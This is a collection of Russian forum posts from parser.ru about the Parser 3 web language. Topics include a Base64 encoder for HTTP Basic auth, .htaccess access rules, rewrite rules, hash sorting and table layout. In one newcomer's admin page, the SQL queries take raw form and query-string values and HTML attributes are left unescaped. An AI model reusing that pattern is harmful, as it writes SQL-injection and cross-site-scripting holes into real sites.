	$.010111[X]\
	$.011000[Y]\
	$.011001[Z]\
	$.011010[a]\
	$.011011[b]\
	$.011100[c]\
	$.011101[d]\
	$.011110[e]\
	$.011111[f]\
	$.100000[g]\
	$.100001[h]\
	$.100010[i]\
	$.100011[j]\
	$.100100[k]\
	$.100101[l]\
	$.100110[m]\
	$.100111[n]\
	$.101000[o]\
	$.101001[p]\
	$.101010[q]\
	$.101011[r]\
	$.101100[s]\
	$.101101[t]\
	$.101110[u]\
	$.101111[v]\
	$.110000[w]\
	$.110001[x]\
	$.110010[y]\
	$.110011[z]\
	$.110100[0]\
	$.110101[1]\
	$.110110[2]\
	$.110111[3]\
	$.111000[4]\
	$.111001[5]\
	$.111010[6]\
	$.111011[7]\
	$.111100[8]\
	$.111101[9]\
	$.111110[+]\
	$.111111[/]\
]\
#<!-- переводим текст на входе в битовое представление -->\
$bitSequence[^text.replace[$bits]]\
#<!-- для каждых трех байт -->\
^for[i](0;^math:floor(^bitSequence.length[]/24)){\
#<!-- вырезаем из строки битов 24 штуки -->\
	$3bytes[^bitSequence.mid($i*24;24)]\
#<!-- проверяем длину и добиваем нулями для кратности 6 -->\
#<!-- нужно исключительно для последних байт строки (остаток) -->\
	^switch(^3bytes.length[]){\
#<!-- длина = 1 байт. добавляем 4 нуля и \"==\" в качестве окончиния закодированной строки -->\
		^case(8){\
			$3bytes[${3bytes}0000]\
			$fin[==]\
#<!-- длина = 2 байта. добавляем 2 нуля и \"=\" в качестве окончиния закодированной строки -->\
		}\
		^case(16){\
			$3bytes[${3bytes}00]$fin[=]\
		}\
#<!-- длина = 3 байта. ничего делать не надо. (исключительно для наглядности) -->\
		^case(24){\
		}\
	}\
#<!-- для каждых 6 бит -->\
	^for[j](0;3){\
#<!-- вырезаем из строки -->\
		$sixtet[^3bytes.mid($j*6;6)]\
#<!-- преобразуем и добавляем к результату -->\
		$out[${out}$uue.[$sixtet]]\
	}\
}\
#<!-- не забываем на выводе \"хвостик\" -->\
$result[${out}$fin]\
\
@main[]\
###########################################################\
<html>\
<head>\
	<title>Load</title>\
</head>\
<body>\
	^try{\
		$login[LOGIN]\
		$passwd[PASSWD]\
		$url[http://www.server.domain/file.ext]\
		$f[^file::load[binary;$url][\
			$.headers[\
				$.Extension[Security/Remote-Passphrase]\
				$.Authorization[Basic ^base64[${login}:$passwd]]\
				$.User-Agent[me]\
			]\
		]]\
		^taint[as-is][$f.text]\
	}{\
		$exception.handled(1)\
		Не срослось...\
	}\
</body>\
</html>\
[/code]"
"19632","Читателям будет проще."
"19633","Большое спасибо за код, а то я уже начал сам думать в эту сторону и потерял бы кучу времени. Каждый раз \"шифровать\" пароль wget'ом действительно странновато."
"19634","Ибо было ломливо вычислять байты для русских букв..."
"19636","Не знаю насчет словарика, имхо русские буквы в паролях к админкам ни к чему. А вот класс для загрузки файлов по указанию типа (xdoc, table, text/binary) пароля и адреса я посчитал нелишним. Еще раз спасибо, а то wget для этих целей приспосабливать было действительно неправильно, так существенно удобнее. Нужна была синхронизация локала с сервером, а админка за паролем, понятное дело."
"19638","[quote]только 60 было вместе с теми, которые принадлежали незалогиненому пользователю... так что сейчас их не 60, а меньше.[/quote]\
меньше на много всего одно, вернул НИК назад снова 60 сообщений"
"19639","по моему я объяснил как считаются сообщения.\
\
и объяснил чем отличается сообщение опубликованое зарегистрированным пользователем от сообщения, опубликованного незарегистрированным пользователем."
"19640","Мой Ник был Bstar2000 на нем было 60 сообщений, после того как я его менял на -=OHRANA=-\
у меня стало 0 сообщений, но ты объяснил что был BUG (кусок кода закоментен) и ты его пофиксил. Количество сообщений у меня не прибавилось. Вернул НИК назад все стало на свои места, теже 60 сообщений. Сменил снова на -=OHRANA=- стало 45. Вот это уже другое дело, с этим я согласен. Если переносятся записи только зарегистрированных пользователей, куда деваются остальные и как их искать по Форуму,, что по старому НИКУ. Несовсем удобно. А если к примеру \"egr\" сменит ник,что-то мне подсказывает, что половина его сообщений потеряется. Ведь не всегда же он логинился (2 egr - или я не прав).И еще вопрос в рейтинге как считаются записи, все или только те которые постились после входа на форум по логину и паролю.\
\
Извини за настырность."
"19641","я вроде вел диалог с пользователем у которого ник 'dimka', соответственно когда мне написал пользователь с ником '-=OHRANA=-' что у него что-то не то с сообщениями, я подумал, что это 'dimka' менял свой ник, и сделал update сообщений, у которых имя автора 'dimka', чтобы имя автора стало '-=OHRANA=-'\
\
:)\
\
после этого я пофиксил баг, и твоя смена ника изменила имя автора тех-же сообщений... что привело к нормальному положению дел.\
\
т.е. баг фопиксен, и теперь изменение имени зарегистрированного пользователя будет приводить к изменению его имени в сообщениях, которые он писал будучи зарегистрированным. о как.\
\
далее... записи никуда не переносятся. у них меняется только имя автора. сообщение, которое написал человек не залогинившись я не могу идентифицировать, соответственно имя автора в нем сохраняется как былО.\
\
про написание сообщений залогинившись: я пишу всегда залогинившись. некоторые личности тоже пишут только залогинившись. сейчас, с логином, который стал не сессионным, это стало делать еще проще.\
\
вопрос про рейтигн я не понял. в рейтинге - это где именно? но мне кажется, что про это я отвечал тут: http://www.parser.ru/forum/?id=19578\
\
далее, если кто-то хочет, чтобы у него все сообщения у которых значится имя автора как у него, показывались как будто он писал их залогинившись - мне в мыл это пожелание (согласен, раньше логин был достаточно строгий и логинились далеко не все). я посмотрю IP с которых писались сообщения и попробую что-нить сделать..."
"19642","man chflags\
\
     The flags are specified as an octal number or a comma separated list of\
     keywords.  The following keywords are currently defined:\
\
           arch    set the archived flag (super-user only)\
           opaque  set the opaque flag (owner or super-user only)\
           nodump  set the nodump flag (owner or super-user only)\
           sappnd  set the system append-only flag (super-user only)\
           schg    set the system immutable flag (super-user only)\
           sunlnk  set the system undeletable flag (super-user only)\
           uappnd  set the user append-only flag (owner or super-user only)\
           uchg    set the user immutable flag (owner or super-user only)\
           uunlnk  set the user undeletable flag (owner or super-user only)\
           archived, sappend, schange, simmutable, uappend, uchange,\
                   uimmutable, sunlink, uunlink\
                   aliases for the above"
"19644","Вы никогда не замечали, что на новые файлы по умолчанию обычно ставятся права 644?"
"19645","http://www.webplanet.ru/news/internet/2003/8/14/spam.html\
Интересно, сколько клиентов потеряла Студия за всё время существования фильтра на зарубежных провайдеров? ;-)"
"19646","Так как принимает значение включён/выключен. \
И вообще, такие проблемы, как ограничения на доступ к файлам не обязательно должны входить в хорошее руководство по установке. Эта тема для отдельной беседы."
"19647","думается что-то  вроде\
$cookie:my_cookie@my_domain\
\
в доке про это не написано :("
"19650","В директории с парсером cgi-bin у меня лежит auto.p в котором указан пароль для доступа к базе данных. Мне нужно этот конфигурационный файл вынести за веб-пространство. \
\
Модуль Set_Env у провайдера выключен, а значит я в .htaccess не могу укзать путь к файлу auto.p\
\
Какие еще есть способы включить файл, который находится вне веб-пространства? Как спрятать пароль от базы данных так, чтобы он не был доступен из веба и при этом работал в парсере?"
"19651","Перед коннект стринг, сделать чтение файла находящегося вне веба, парсер ведь позволяет брать файлы с вышестоящих уровней (в путях имеется ..) ну и из этого файла вытягивать пароль."
"19652","Убирать файл из веб-пространства необязательно. Чтобы спрятать его от пользователей извне достаточно следующего в .htaccess:\
[code]\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
Для защиты от локальных пользователей на файл достаточно поставить права 600."
"19653","Ты имеешь ввиду ^file::load[формат;имя файла]?"
"19655","хм..."
"19656","в начале стоит дата, например так: 2003-08-13\
потом стоит время, например так: 17:07:24\
а потом стоит текст, например так: Программа выполнила недопустимую операцию.\
\
как их положить в разные переменные одним регулярным выражением?"
"19657","У меня та же проблема с загрузкой файлов.\
Я прочитал все ваши сообщения, но я никак не могу разобраться ни в коде который написал Luzhnikovskiy, ни в коде Александра Петросяна (PAF). Если не трудно подскажите, пожалуйста, как правильно применить ваши коды для загрузки файлов из защищенной директории.\
\
Заранее благодарю."
"19658","Если там есть '\\n' то разбивай смело по этому символу табличку и с ней работай, IMHO так правильнее."
"19659","Мне казалось, что в моем коде все очевидно...\
Описана функция кодирования и она вызывается при конструировании заголовков запроса.\
Функцию можно взять as-is (не забыть табуляторы поправить где/если надо).\
\
В каком месте конкретно не понятно?"
"19660","у меня проблемка - на сайте все обращения переадресовываются к одной странице RewriteRule'ом и всё удачно работает\
\
[code]# The following tells RewriteEngine what to do with 'virtual' requests:\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$        /index.html?type=via_rewrite&uri=/$1 [L,QSA][/code]\
\
Теперь захотелось, чтобы запросы типа /news/article_NNN/ переправлались бы к /news/?id=$1, для чего я дописал перед процитированным блоком \
\
[code]RewriteRule    ^/news/press_(.+)/$   /index.html?type=via_rewrite&id=$1&uri=/news/press/		[L,QSA]\
RewriteRule ^/en/news/press_(.+)/$   /index.html?type=via_rewrite&id=$1&uri=/en/news/press/	[L,QSA][/code]\
\
Проблема в том, что рерайт не происходит! я запрашиваю, например, /en/news/press_14/ и получаю 404 ошибку... Что я не так делаю?"
"19661","Я использую функцию, которая загружает файл, возвращая нужный объект. \
base64 используется в том же классе, где get. В тексте Luzhnikovskiy в хеше uue нужно кое-где добавить [] (там, видимо, опечатка, без [] в элементах хеша возникает ошибка \"not determined yet\". Текст функции загрузчика:\
@get[tip;login;passwd;url][t;f]\
# tip: определяет тип возвращаемого объекта (файл (text|binary), xdoc или table)\
# login;passwd - логин и пароль\
# url - http://путь_к_загружаемому_файлу\
$t[\
	$.Extension[Security/Remote-Passphrase] \
	$.Authorization[Basic ^base64[${login}:$passwd]] $.User-Agent[cms]\
]\
^switch[$tip]{\
	^case[DEFAULT]{ $result[^file::load[^if(def $tip){$tip}{text};$url]] }\
	^case[xdoc]{ $result[^xdoc::load[$url][$.headers[$t]]] }\
	^case[table]{ $result[^table::load[$url][$.headers[$t]]] }\
}\
\
Плюс try в методе, которая использует эту функцию."
"19662","1. ты пишешь, что хочешь рерайтить на  /news/?id=$1, а в рерайте посылашь на /news/press/ - это нормально? не сам ты показываешь ошибку?\
\
2. я так и не понял, как использовать слеши в начале rule... попробуй убрать их\
\
3. я обычно так не делаю. если мне надо подобное, я сделал бы примерно так:\
[code]\
RewriteCond %{REQUEST_URI} ^/news/press_.+/$\
RewriteRule ^(.+)/press_([0-9]+)/$	 $1/press/?id=$2 [PT,QSA]\
[/code]\
\
т.е. окончательный рерайт выполнился бы твоим основным правилом (\
приведенный кусок вставить перед твоим кодом, ну и естественно с этими press_ я тоже что-нить придумал бы)"
"19663","Скопипэйстил, воткнул табуляторов в $bits (у меня вставились пробелы) и все заработало. Никаких добавлений [ и ] не понадобилось..."
"19666","Извините, что отнимаю у вас время, но не могли бы ли вы сказать, куда нужно вписать ваш код, как он работает, как его использовать."
"19667","Надо обновиться и проверить..."
"19668","лучше всего создать класс для работы с http - определить в нем конструктор load (загрузка), методы save (сохранение на диск) и, допустим, draw (вывод \"на экран\")\
в этот класс добавить функцию base64\
\
load можно реализовать подобно тому, как описано у kirill'а (http://www.parser.ru/forum/?id=19661).\
save вполне можно просто унаследовать у того, кого загрузили (xdoc, table, file).\
draw - в зависимости от..."
"19669","[code]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
<HTML><HEAD>\
<link rel=\"stylesheet\" type=\"text/css\" href=\"/styles/main.css\"></link>\
<TITLE>админка /</TITLE>\
\
<br>\
$news_date[$request:query]\
\
\
^connect[$connect_string2]{$lenta[^table::sql{select * from company WHERE id = '$news_date' ORDER BY id DESC}]} \
<p>\
\
\
\
<form method=\"POST\">\
<p>\
\
\
Компания<sup>*</sup><input name=\"company\" value=$lenta.company><br>\
Адрес офиса<input name=\"adres_ofisa\" value=$lenta.adres_ofisa><br>\
Адрес рассылки<input name=\"adres_rasilki\" value=$lenta.adres_rasilki><br>\
Прочие адреса<input name=\"prochie_adresa\" value=$lenta.prochie_adresa><br>\
Телефон<input name=\"phone\" value=$lenta.phone><br>\
Добавочный телефон<input name=\"telefon_dob\" value=$lenta.telefon_dob><br>\
Остальные телефоны<input name=\"phone_ostal\" value=$lenta.phone_ostal><br>\
Факс<input name=\"fax\" value=$lenta.phone_ostal><br>\
e-mail<input name=\"email\" value=$lenta.email><br>\
Сайт<input name=\"site\" value=$lenta.site><br>\
Деятельность<input name=\"deyatelnost\" value=$lenta.deyatelnost><br>\
\
<hr>\
Фио контактного лица<input name=\"pname\" value=$lenta.pname><br>\
Его телефон<input name=\"ptel\" value=$lenta.ptel><br>\
Добавочный<input name=\"pdob\" value=$lenta.pdob><br>\
Мобильный<input name=\"pmob\" value=$lenta.pmob><br>\
ICQ<input name=\"picq\" value=$lenta.picq><br>\
E-MAIL<input name=\"pemail\" value=$lenta.pemail><br>\
\
\
</p>\
<p>\
<input type=\"submit\" value=\"Send\" name=\"post\">&nbsp;&nbsp;&nbsp;\
<input type=\"reset\" value=\"Cancel\">\
</p>\
</form>\
</center>\
\
\
\
#@test_and_post_message[]\
^if(def $form:company && def $form:phone){\
^connect[$connect_string2]{\
 ^void:sql{UPDATE LOW_PRIORITY company\
  SET company=$form:company,\
  adres_ofisa=$form:adres_ofisa,\
  adres_rasilki = $form:adres_rasilki, \
  prochie_adresa = $form:prochie_adresa,\
  phone = $form:phone,\
  telefon_dob = $form:telefon_dob,\
  phone_ostal = $form:phone_ostal,\
  fax = $form:fax,\
  email = $form:email,\
  site = $form:site,\
  deyatelnost = $form:deyatelnost,\
  pname = $form:pname,\
  ptel = $form:ptel,\
  pdob = $form:pdob,\
  pmob = $form:pmob,\
  picq = $form:picq,\
  pemail = $form:pemail\
  WHERE id = $news_date\
  LIMIT 1}   \
}\
$response:location[$request:uri]\
}\
\
[/code]\
\
вот не хочет он обновлять базу говорит что\
Unknown column '9a' in 'field list' [sql.execute] 9а - это то на что меняется первая строка... \
\
Помогитесоветом как исправить, спасибо"
"19671","если надо обеспечить обмен данными (как RSS) - то все вроде понятно. но в качестве хранителя информации - это же не очень удобно? необходимо загружать в память все дерево и если файл большой, то это очень уж накладно. если использовать XML в связке с базой данных, чтобы генерировать маленькие XML файлы - то зачем это надо? не проще ли сразу генеривовать HTML из БД? когда стоит применять и когда не стоит применять XML? \
\
у меня практический вопрос - делаю страницу, где будет находится учебный материал - вроде бы достаточно много статей, разделенных по категорям. как их лучше хранить? если все в одном XML файле - то файл получится слишком большим, если каждый раздел в одном файле - все равно не очень хорошо... если каждую статью в отдельном файле - то лишняя работа получается. большой знак (?)"
"19672","Конечно понятно не все.\
Наверное я ещё слабый в этом деле :-)"
"19673","Скажите, пожалуйста, а если раньше я был незарегестрированым пользователем, а потом зарегестрировался то можно сделать что-то чтоб те сообщения которые я писал будучи незарегестрированным стали принадлежать мне как зарегестрированному пользователю."
"19674","[quot]\
далее, если кто-то хочет, чтобы у него все сообщения, у которых значится имя автора как у него, показывались как будто он писал их залогинившись - мне в мыл это пожелание (согласен, раньше логин был достаточно строгий и логинились далеко не все). я посмотрю IP с которых писались сообщения и попробую что-нить сделать...\
[/quot]\
\
перевожу: да, можно.\
\
писать с указанием логина (+ какой логин был до изменения) и текущего IP адреса (и, если знаете, предыдущие IP) на мыл: misha@design.ru"
"19676","Вы пишете:\
\
[i]далее, если кто-то хочет, чтобы у него все сообщения, у которых значится имя автора как у него, показывались как будто он писал их [b]залогинившись[/b][/i]\
\
а я вам пишу:\
\
[i]...можно сделать что-то чтоб те сообщения которые я писал будучи [b]незарегестрированным[/b] стали принадлежать мне как [b]зарегестрированному[/b] пользователю.[/i]\
\
Мы говорим о двух разных вещах."
"19677","Я использую XML чтобы можно было генерить разные html-ки из одного XML-файла (для броузера и для печати). Опять же WAP на подходе, напишу еще одну XSL-ку и вот-он WAP-портал :)\
\
И еще, разбираю CommerceML, который 1С-ка генерит, это тоже удобно, похоже XML начинает потихоньку использоваться для обмена данными."
"19678","...но если я буду писать сообщения [b]не залогинившись[/b] то система ничего не будет знать, регистрировался я (и сколько раз) или нет.\
\
вместе с тем, залогиниться незарегистрировавшись невозможно (ну... можно конечно, сперев у кого-нить логин/пароль)\
\
т.е. в данном случае уместно говорить о написании сообщения залогиненым/не залогиненым пользователем, а не о зарегистрированным/не зарегистрированным..."
"19679","в моём сообщении речь идёт о том, что я хотел бы чтоб те сообщения которые я написал будучи незарегистрированным с именем Quesh(а потом я зарегестрировался с тем же именем) стали пренадлежать мне, только зарегестрированному.\
\
Тоесть, например я ищу все сообщения написанные пользователем Quesh, поиск выдаёт мне все сообщения написанные зарегестрированным Quesh и незарегестрированным, а мне, допустим, нужно чтоб все сообщения принадлежали зарегестрированному Quesh.\
\
А насчет залогинился/незалогинился, то я как зарегестрированный пользователь стараюсь писать все сообщения залогиненным."
"19683","Привет, можно ли скачать полную версию parser или только разным частям?\
И еще где я могу найти документацию, которую можно скачать и просматривать вне сети? \
Спасибо!"
"19685","у меня есть таблица \
year -- number\
1990  1\
1990  2\
1990  3\
2000  3\
2000  4\
2003  1\
мне нужно, чтобы  он выводил год -- все номера\
делаю хэш\
$numbers[^numbers.hash[year][$.distinct[tables]]]\
и вывожу\
^numbers.foreach[key;value]{\
$key - ^value.menu{$value.number}[, ]\
}\
но в таком случае выодятся сначала номера за 1990 год, а последними - за 2003.  Мне нужно наоборот, но никак не могу допереть, куда поставить desc\
Можно ли как-то сортировать хэш, например\
^numbers.sort[$key][desc]?"
"19686","с подстветкой и с подобием дебаггера....\
есть такой аль нет?"
"19689","(\\d{4}-\\d{2}-\\d{2})разделитель(\\d{2}:\\d{2}:\\d{2})разделитель(\\w+)\
выражения в скобках и есть результат $match.1 ...2,3 соответственно.\
Разделитель может быть любой, к примеру пробел или символ табуляции.\
\
P.S. Выражение не оптимизировано, его можно упростить, а с точки зрения написания усложнить в разы."
"19690","что хэш вывелся в некотором порядке...\
а вот сортировать его нельзя.\
\
как вариант - создать вспомогательную таблицу из одного столбца (ключ хэша), ее отсортировать как надо, и менюшить, вызывая в каждой итерации ^хэш.[вспТаблица.столбец].menu..."
"19691","В доке написаны примеры вроде этого\
\
$cookie:name[\
  $.value[значение]\
  $.expires[session]\
]\
\
Вопрос в следуещем\
Можно в куку записать несколько значений?\
Как сильно тормозит процесс работы большое количество кук, скажем 1000 кук"
"19694","Это уже обсуждалось, глянь чуть ниже (http://www.parser.ru/forum/?id=19575), я где-то читал, что вес общего количество cookies не должно превышать 4КБ. Ну а 1000, зачем вам?"
"19695","делаю таб-делим файлик left.cfg:\
\
id	name	uri\
1	во&nbsp;первых	/1/\
2	во&nbsp;вторых	/2/\
3	и&nbsp;всё	/end/\
\
в auto.p пишу:\
\
# Право-левая навигация\
@LRnav[]\
	$sections[^table::load[left.cfg]]\
	^sections.menu{\
		<a href=\"$sections.uri\">\
			<font size=-2>&#171;</font>\
			&nbsp;$sections.name&nbsp;\
			<font size=-2>&#187;</font>\
		</a><br>\
	}\
\
\
соответственно в  .html пишу ^LRnav[], а в ответ:\
\
Unhandled Exception (Debug)\
method of table (table) accepts maximum 2 parameter(s)\
menu\
\
Чего не так?"
"19698","во-первых и во-вторых через дефис пишется ;-)"
"19699","у меня такое мнение что это недоработка.\
хеш должен помнить порядок вставки.\
\
мне кажется что в будущих версиях парсера это должно быть исправлено"
"19702","вы в какой версии испытываете проблему?"
"19703","Правда я при этом использую XML и XSLT для преобразований...\
\
Вывожу XML-теги, а затем при их конвертировании в HTML я делаю по ним сортировку, тоже удобно :)"
"19704","Задача - в таблице есть пополняемый список данных. Нужно брать из таблицы данные, разбивать в блоки по 4 штуки и выводить в html-таблицу по четыре в строчку. У меня получается либо много ячеек в одном ряду либо много рядов, но по одной ячейке в ряду. А надо по 4 в ряду. Уж и через циклы пытался, нифига не получается. \
\
Вот этот код выведет ряд (ну ок, два ряда) и количество ячеек в ряду, равное количеству ячеек в sql-таблице. Как бы эти данные разбить на ряды по четыре ячейки в ряду?\
\
^connect[$connect_string]{ \
   $users[^table::sql{select \
       user_id, user_name, user_nic, user_foto  \
   from \
      users  \
   where \
      user_view='1' \
   order by `user_id`\
   }]\
<table>\
^users.menu{\
   <tr>\
     <td><img src=\"$users.user_foto\" width=\"150\" height=\"150\" alt=\"$users.user_name\" border=\"0\">\
     </td>\
   </tr>\
   <tr>\
     <td>№$users.user_id<br>$users.user_nic<br>AKA $users.user_name\
     </td>\
   </tr>   \
}\
</table>\
}"
"19707","на уровне идеи всплыло такое:\
[code]\
<mapping schema=\"simple\">\
   <tag name=\"title\">\
       <sql:field>title</sql:field>\
   </tag>\
   <tag name=\"counter\">\
       <attribute name=\"id\">\
          <sql:field>book_id</sql:field>\
       </attribute>\
       <parser:code>^ogject.get[]</parser:code>\
        <tag name=\"sub_counter>\
             вот такое вот просто значение\
        </tag>\
   </tag>\
</mapping>\
\
[/code]\
\
где построение XML дерева происходит посредством разбора узлов <tag/>\
для parser:* ^process[] или просто вызов\
для sql:* соотв сбор полей в одну выборку и подстановка вывода выборки в узел.\
\
Смущает относительная сложность, ресурсоемкость и невысокое быстродействие."
"19708","вещь получается совершенно несуразная. такой мощный инструмент - и вдруг для выполнения  совершенно простойи очень часто необходимой задачи приходится производить какие-то обходные маневры"
"19711","bug report\
\
OS: Windows 2003 Server Enterprise Edition\
\
HTTP server: Apache 1.3.28 (running as service from “Local System” user) + Parser 3.1 (Apache module). DOCUMENT_ROOT on volume with FAT32\
\
HTTP server: Apache 2.0.47 (running as service from “Local System” user) + Parser 3.1 (CGI). DOCUMENT_ROOT on volume with FAT32\
\
Описание:\
некорректная работа метода ^file:lock[]{}:\
удаляет данные из запираемого файла (сам файл не удаляет) и данные не читает.\
Также, если в качестве параметра указать каталог который не существует, то он его создает.\
\
bugged code:\
[code]\
@main[]\
^file:lock[file.sys]{\
$temp_table[^table::load[file.sys]]\
$temp_file[^file::load[text;file.sys]]\
^if(def $temp_table){A table have been loaded!}\
^if(def $temp_file.text){ $temp_file.text }\
}\
[/code] \
\
Файл точно существует, и не пустой, в нем таблица в tab-delimited.\
\
по другому поводу:\
\
Также было замечено:\
не работает конструкция:\
$form:$SYSTEM_TABLE.image_id\
SYSTEM_TABLE – таблица которая ^menu{}\
\
выдается наверно Апачем: exception in request exception handler: Exception 0xC000005 at 0x00404BD"
"19712","общее решение: блокируйте не тот файл, с которым оперируете."
"19713","можно поподробней? в чем проблема то?\
я хочу залочить файл, а он мне его очищает при этом ничего не взяв от туда.\
\
ваше: общее решение: блокируйте не тот файл, с которым оперируете.\
\
т.е. это можно понимать так:\
[code]\
@main[]\
^file:lock[finya.sys]{\
$temp_table[^table::load[file.sys]]\
$temp_file[^file::load[text;file.sys]]\
^if(def $temp_table){A table have been loaded!}\
^if(def $temp_file.text){ $temp_file.text }\
}\
[/code] \
\
так что ли?\
а каким образом лок происходит через семаворы или как нить по другому?"
"19715","в принципе хеш достаточно удобен, по сравнению с таблицей,\
хеш можно редактировать и он может хранить в себе другие хеши...\
\
но я до сих пор не могу понять почему таблицу нельзя редактировать, изменять значения, удалять строки\
(копировать с заменой считаю полным извращением)\
\
также иногда хочется удалить или добавить столбец в таблицу, но понятное дело что курю бамбук.\
\
начинаешь использовать хешу, а там другие \"сюрпризы\"...\
\
западло.\
\
ps. так же думаю было бы не плохо если бы хеш и таблицу можно было сериализовать, то есть конвертнуть в строку.\
Чтобы строчку можно было записать в базу данных или файлик,\
а потом восстановить в первоначальный вид. (Помечтаем вместе?)"
"19717","http://www.artlebedev.ru/portfolio/timeline/\
всё отсортировано по годам по убыванию\
\
здесь хэш не испольлзуется? или это отсортированный xml?"
"19718","1. сделать одно и то-же можно различными способами, в том числе и с помощью хеша (но я не знаю зачем в приведенном примере нужен хеш)\
\
2. как сделано в приведенном примере я не знаю.\
\
3. я бы делал так: все хранится в БД. к БД делаем запрос и получаем [b]table[/b] с результатами, уже отсортироваными по дате [b]средствами SQL[/b]. после чего menu по таблице и выводим результаты. если очень хочется, смотрим, где происходит смена года и выводим там большой подзаголовок."
"19719","а никто не придумал как более изящней записать подобную констукцию, такая где много if-вов? (регексп так просто для примера)\
\
[code]\
^if(^str.match[\\d\\d\\d]){\
    ...\
}{\
    ^if(^str.match[\\d\\d]){\
        ...\
    }{\
        ^if(^str.match[\\d]){\
            ...\
        }{\
            ...\
        }\
    }\
}\
[/code]\
\
а то ацтойно так писать"
"19723","[code]\
$t[^table::create{id\
^for[i](1;90){$i\
}\
}] \
\
<table border=1>\
<tr>\
^t.menu{\
	<td>\
		$t.id\
	</td>\
	^if(^t.line[]%4 == 0){</tr><tr>}\
	}\
</tr>\
</table>\
[/code]"
"19724","...с помощью хэша мы получаем УЖЕ отсортированную по годам \"стройную\" (если не считать отсутствия сортировки) структуру\
мне кажется всегда лучше, чтобы код был покороче и попонятнее - а так всякиих ифов, локайтов понапихать конечно можно"
"19725","Скачал последнюю версию архива для FreeBSD...\
[code]\
bash-2.05$ tar xzvf parser3_1_0_freebsd48R_cgi_xml.tar.gz\
parser3/parser3.cgi\
parser3/README\
bash-2.05$ cd parser3\
bash-2.05$ ./parser3.cgi\
/usr/libexec/ld-elf.so.1: Undefined symbol \"__stdoutp\" referenced from COPY relocation in ./parser3.cgi\
[/code]\
Что случилось и как это лечить?\
\
P.S.: Когда только вышел 3.1.0 всё было ОК."
"19726","покажите мне SQL который вернет нам хеш?\
результаты sql запросов (когда достаем данные) - строкового или табличного вида.\
\
это парсер сам делает из подобных табличных данных хеш.\
кстати в данном случае если уж говорить о красоте представления данных, то лучше достать таблицу и сделать из нее хеш таблиц с помощью .hash[year][$.distinct[tables]]\
\
тогда мы получим хеш, где ключи - года, а значения - таблицы с записями за данный год.\
\
однако в этом случае действительно, неудобно получается то, что этот хеш несортирован. правда говорить тут о какой-то сортировке по умолчанию сложно: как добавлялись данные в хеш неизвестно (запросом получены), и один найдет задачу в которой потребуется сортировка по ключу, а другой - по значению (функции). однако мне видится, что реализовать это самому достаточно просто, и вносить это в парсер можно, но... не обязательно :)\
\
пример (есссно можно усложнить и ввести возможности сортировки как вам угодно):\
\
[code]\
# пишем метод foreach, который даст нам требуемый функционал\
@foreach[h;k;v;code][key]\
$key[^h._keys[]]\
^key.sort{$key.key}\
^key.menu{\
	$caller.$k[$key.key]\
	$caller.$v[$h.[$key.key]]\
	$code\
}\
\
@main[]\
# собственно исходные данные - таблица\
$t[^table::create{id	year	name\
1	2000	мама0\
2	2001	мама1\
3	2000	папа0\
4	2001	папа1\
}]\
\
# делаем хеш таблиц\
$h[^t.hash[year][$.distinct[tables]]]\
\
# зовем наш написаный оператор, который выведет нам наш хеш таблиц\
^foreach[$h][k;v]{\
	<b>$k</b><br />\
	^v.menu{\
		$v.year=$v.name\
	}[<br />]\
	<br /><br />\
}\
[/code]\
\
P.S. работает >= 3.0.8, иначе надо писать свой $h[^t.hash[year][$.distinct[tables]]], как писать - есть в примерах (lib.p)\
\
P.P.S. про это есть [url=\"http://www.parser.ru/docs/lang/definemethod.htm\"]пример в доке[/url]\
\
P.P.P.S. написать необходимый оператор из ~7 строк, который потом можно юзать - по моему это не очень сложно..."
"19727","Миша -- Хакер... это знают все...\
но не все же такие продвинутые :-)\
\
мне кажется что способ предложенный тобой нужно куда-нибудь в фак запихнуть"
"19728","хотя можно и в фак..."
"19729","может быть... но много подобных идей не раскрыто...\
а распространяется под дивизом \"догадайся мол сама\" :-)"
"19730","спасибо за идею"
"19734","...А именно сделать таблицу валидной, с точки зрения HTML.\
\
Вот ваш код, немного дополненный:\
[code]\
$t[^table::create{id\
^for[i](1;47){$i\
}}]\
\
# задаем количество столбцов будущей таблицы\
\
$cols(1)\
\
# следующая проверка нужна, только если мы не хотим видеть\
пустые ячейки в первой строке, но если нам необходимо\
определенное количество столбцов(пускай и с пустыми ячейками),\
то проверять не надо\
\
^if($cols > ^t.count[]){$cols(^t.count[])}\
\
<table border=1>\
<tr>\
^t.menu{\
$ost(^eval(^t.line[]%$cols))\
$freecol(^eval(${cols}-${ost}))\
<td>\
$t.id\
^if(^t.line[] ne ^t.count[]){\
^if($ost != 0){</td>}{</td></tr><tr>}\
}{</td>\
^if($ost != 0){\
^for[u](1;$freecol){<td>&nbsp^;</td>}\
}</tr>\
}\
}\
</tr>\
</table>\
[/code]\
\
Вспоминаю, то что я использовал для построения нескольких столбцов раньше, и ужасаюсь. Большое спасибо за идею!"
"19735","Остаток деления и свободные ячейки можно вывести,\
что-бы не считать их при каждом проходе в меню\
\
[code]\
$cols(7)\
\
$t[^table::create{id\
^for[i](1;50){$i\
}}]\
\
$total(^t.count[])\
$ost($total%$cols)\
\
<table border=1>\
<tr>\
^t.menu{\
		<td>$t.id</td>\
		^if(^t.line[] != $total){\
			^if(^t.line[]%$cols == 0){</tr><tr>}\
		}\
	}\
	^if($ost != 0){\
		^for[i](1;$cols-$ost){<td>*</td>}\
	}\
</tr>\
</table> \
[/code]"
"19737","тебе нераскрытое Т.З. (или «на словах»), а ты раскрываешь."
"19738","$nowdate[^date::create[лалала]]\
$last[^date::create[лалалал]]\
^if($nowdate>$last){ ллл1\
}{ ллл2}"
"19739","Есть мои два плста.\
У первого кнопка [изменить] не появляется, \
т.е. по идее я не могу его править, \
\
Со вторым все нормально...\
\
http://www.parser.ru/forum/?id=19723\
http://www.parser.ru/forum/?id=19735\
\
В чем фича???"
"19740","я может плохо вижу, но где скачать новую so'шку для p3.1"
"19741","Сделано воизбежание коллизий между текстом ответа и самим вопросом, который после изменения может кардинально измениться, чем ввести читателей в заблуждение."
"19743","что-то не хочется сегодня флеймом заниматься :-)\
\
я догадываюсь о том что такое \"программирование\",\
но я об этом лучше помолчу..."
"19744","ваш код работает без проблем.\
\
пробую в 3.1.0, но в parser это работает начиная с первой же публичной версии.\
\
если уверены, пришлите, пожалуйста, bug.html"
